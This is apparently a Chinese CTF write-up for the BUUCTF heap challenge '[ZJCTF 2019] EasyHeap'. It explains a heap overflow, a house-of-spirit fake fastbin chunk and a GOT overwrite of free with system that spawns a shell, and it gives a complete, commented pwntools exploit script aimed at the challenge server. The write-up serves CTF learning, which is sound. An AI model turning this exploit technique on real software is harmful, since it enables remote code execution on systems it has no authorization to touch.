[ZJCTF 2019]EasyHeap

附件

步骤:

  1. 例行检查,64位程序
  2. 试运行一下看看程序大概执行的情况,经典的堆块的菜单
  3. 64位ida载入,首先检索字符串,发现了读出flag的函数
  4. 看一下每个选项的函数
    add

    这边size的大小由我们输入控制,heaparray数组在bss段上存放着我们chunk的指针
    edit,简单的根据指针修改对应chunk里的值,但是这里的size也是由我们手动输入的,也就是说只要我们这边输入的size比add的时候输入的size大就会造成溢出

    delete,释放掉堆块,指针置为0
  5. 之前看到的读出flag的函数在满足一定条件的时候是可以执行的,但是在BUU上的flag文件没有放到那个目录下,所以只能想其他办法了,但是这边的system函数还是可以利用的。看其他师傅的wp里都是用的house of spirit (伪造堆块),关于house of spirit可以看下面的链接
    https://blog.csdn.net/zhulintintao/article/details/109889960
    https://zhuanlan.zhihu.com/p/61546352
  6. 利用过程
    首先创建3个chunk
create(0x68,'aaaa') #0
create(0x68,'bbbb') #1
create(0x68,'cccc') #2

我们先free掉chunk2,然后再通过修改chunk1,造成堆溢出修改chunk2的fd指针,使其指向fake_chunk(我们伪造的堆)

payload = '/bin/sh\x00' + 'a' * 0x60 + p64(0x71) + p64(0x6020ad)
edit(1,len(payload),payload)

说一下为什么我们构造的fake_chunk的地址是0x6020ad
因为我们的目的是控制heaparray数组,从heaparray地址往上找,找到此处,可以看到其size大小为0x7f ,我们可以用 house of spirit 技术,伪造 chunk 至 heaparray 附近,在操作 malloc fastbin 时需要检查大小,我们可以巧妙地利用地址开头 7f 来伪造大小为 0x70 的 fastbin,绕过malloc的检查

然后两次create 调用malloc,第一次返还chunk2给我们,第二次将fake chunk返还给我们,然后我们就可以通过fake_chunk修改heaparray的值,这里我们先将heaparray[0]修改为free函数的got地址,

create(0x68,'aaaa')
create(0x68,'c') payload = '\xaa' * 3 + p64(0) * 4 + p64(free_got)
edit(3,len(payload),payload)

然后再通过edit函数修改free_got表项为调用system的地址

payload = p64(elf.plt['system'])
edit(0,len(payload),payload)

这样 free chunk 1 就会执行 system(’/bin/sh’) 拿 shell。

exp就直接放暖暖草果师傅的了,人家给exp的每一条语句写了注释

 from pwn import *

#p = process('./easyheap')
p = remote('node3.buuoj.cn' ,'27234')
elf = ELF('./easyheap') context.log_level = 'debug' def create(size,content):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Size of Heap : ')
p.send(str(size))
p.recvuntil('Content of heap:')
p.send(str(content)) def edit(index,size,content):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Index :')
p.sendline(str(index))
p.recvuntil('Size of Heap : ')
p.send(str(size))
p.recvuntil('Content of heap : ')
p.send(str(content)) def free(index):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Index :')
p.sendline(str(index)) free_got = elf.got['free'] create(0x68,'aaaa') # chunk 0
create(0x68,'bbbb') # chunk 1
create(0x68,'cccc') # chunk 2
free(2) # 释放 heap2 让其进入 fastbin payload = '/bin/sh\x00' + 'a' * 0x60 + p64(0x71) + p64(0x6020ad)
edit(1,len(payload),payload)
# 修改 heap1 内容为 '/bin/sh\x00', 以及堆溢出 heap2(freed) 修改其 fd 指针
# 因为最后释放的是 heap1,利用 '__free_hook'(system) Getshell
# 为什么是 0x6020ad? 这是调试出来的
# FakeChunk 若以这里为 prev_size,则 size 正好是一个 0x000000000000007f
# 可以绕过 malloc_chunk 的合法性验证 (new_chunk 的 size 位要与 bin 链表 size 一致)
# 这样就伪造出了一个 chunk create(0x68,'aaaa') # chunk 2 (从 fastbin 里取出的) create(0x68,'c') # chunk 3 / idx = 0 (Fake) payload = '\xaa' * 3 + p64(0) * 4 + p64(free_got)
edit(3,len(payload),payload)
# 修改 heap3 (Fake)
# 作用是把 heaparray[0] 的地址 (原先记录的是 chunk 3 的地址) 覆写成 free_got 地址
# 这就是要在 heaparry 附近构造 Fakeheap 的原因
# 确定具体的偏移量需要动态调试 payload = p64(elf.plt['system'])
edit(0,len(payload),payload)
# free_got 地址的作用在这里体现了
# 由于 edit() 的目标是 heaparry[] 里面的地址
# 那么本次操作将修改 free_got 为 system_plt 的地址 free(1)
# 当释放 chunk1 (内容为 '/bin/sh\0x00') 的时候
# 把 chunk1 当参数传入 free() 中执行,由于 free() 地址已经被修改成 system()
# 最后程序执行的就是 system(chunk1's content) 即 system('/bin/sh\0x00'), 成功 Getshell p.interactive()

参考wp:
https://www.cnblogs.com/zhwer/p/13781722.html

[BUUCTF]PWN——[ZJCTF 2019]EasyHeap的更多相关文章

  1. [BUUCTF]PWN——[ZJCTF 2019]Login

    [ZJCTF 2019]Login 附件 步骤: 例行检查,64位程序,开启了canary和nx保护 2. 试运行一下程序 3. 64位ida载入,检索字符串,在程序里找到了用户名admin和密码2j ...

  2. [ZJCTF 2019]EasyHeap

    目录 逆向分析 create 函数 edit 函数 delete 函数 利用思路 exp 脚本 get flag 内容来源 逆向分析 -------------------------------- ...

  3. [ZJCTF 2019]EasyHeap | house of spirit 调试记录

    BUUCTF 上的题目,由于部分环境没有复现,解法是非期望的 house of spirit 第一次接触伪造堆的利用方式,exp 用的是 Pwnki 师傅的,本文为调试记录及心得体会. 逆向分析的过程 ...

  4. [BUUCTF]PWN——babyheap_0ctf_2017

    [BUUCTF]PWN--babyheap_0ctf_2017 附件 步骤: 例行检查,64位,保护全开 试运行一下程序,看到这个布局菜单,知道了这是一道堆的题目,第一次接触堆的小伙伴可以去看一下这个 ...

  5. (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016

    [buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...

  6. [BUUCTF]PWN10——[第五空间2019 决赛]PWN5

    [第五空间2019 决赛]PWN5 题目网址:https://buuoj.cn/challenges#[第五空间2019%20决赛]PWN5 步骤: 例行检查,32位,开启了nx和canary(栈保护 ...

  7. [BUUCTF]PWN——hitcontraining_uaf

    [BUUCTF]--hitcontraining_uaf 附件 步骤: 例行检查,32位,开启了nx保护 试运行一下程序,非常常见的创建堆块的菜单 32位ida载入分析,shift+f12查看程序里的 ...

  8. buuctf | [强网杯 2019]随便注

    1' and '0,1' and '1  : 单引号闭合 1' order by 3--+ : 猜字段 1' union select 1,database()# :开始注入,发现正则过滤 1' an ...

  9. BUUCTF PWN部分题目wp

    pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda ...

随机推荐

  1. [hdu7081]Pty loves book

    建立ac自动机,令$S_{x}$为以根到$x$的路径所构成的字符串以及$L_{x}=|S_{x}|,W_{x}=\sum_{1\le i\le m,t_{i}为S_{x}的后缀}w_{i}$,那么不难 ...

  2. [loj3343]超现实树

    定义1:两棵树中的$x$和$y$对应当且仅当$x$到根的链与$y$到根的链同构 定义2:$x$和$y$的儿子状态相同当且仅当$x$与儿子所构成的树与$y$与儿子所构成的树同构 根据题中所给的定义,有以 ...

  3. ICCV2021 | PnP-DETR:用Transformer进行高效的视觉分析

    ​  前言  DETR首创了使用transformer解决视觉任务的方法,它直接将图像特征图转化为目标检测结果.尽管很有效,但由于在某些区域(如背景)上进行冗余计算,输入完整的feature maps ...

  4. 『学了就忘』Linux文件系统管理 — 58、常用硬盘管理相关命令

    目录 1.df命令 2.du命令 3.fsck文件系统修复命令 4.显示磁盘状态dumpe2fs 5.查看文件的详细时间 6.判断文件类型 1.df命令 df命令用于统计分区的占用状况. [root@ ...

  5. Codeforces 788E - New task(线段树)

    Codeforces 题目传送门 & 洛谷题目传送门 这是一道 *2900 的 D1E,而且被!我!自!己!搞!出!来!了! 虽然我承认它难度及摆放的位置异常异常虚高,并且就算我到了现场也不可 ...

  6. Codeforces 1500E - Subset Trick(线段树)

    Codeforces 题目传送门 & 洛谷题目传送门 一道线段树的套路题(似乎 ycx 会做这道题?orzorz!!11) 首先考虑什么样的 \(x\) 是"不合适"的,我 ...

  7. 【豆科基因组】大豆(Soybean, Glycine max)经典文章梳理2010-2020

    目录 2010年1月:大豆基因组首次发表(Nature) 2010年12月:31个大豆基因组重测序(Nature Genetics) 2014年10月:野生大豆泛基因组(Nature Biotechn ...

  8. 47-Generate Parentheses

    Generate Parentheses My Submissions QuestionEditorial Solution Total Accepted: 86957 Total Submissio ...

  9. Redis源码解析(1)

    在文章的开头我们把所有服务端文件列出来,并且标示出其作用: adlist.c //双向链表 ae.c //事件驱动 ae_epoll.c //epoll接口, linux用 ae_kqueue.c / ...

  10. Mysql笔记(3)

    查询总数count(1)查询总和sum(数据名) 查询最大值max(数据名) 查询最小值min(数据名) 查询平均值avg(数据名) 去除重复 通过having来过滤group by字句的结果信息 i ...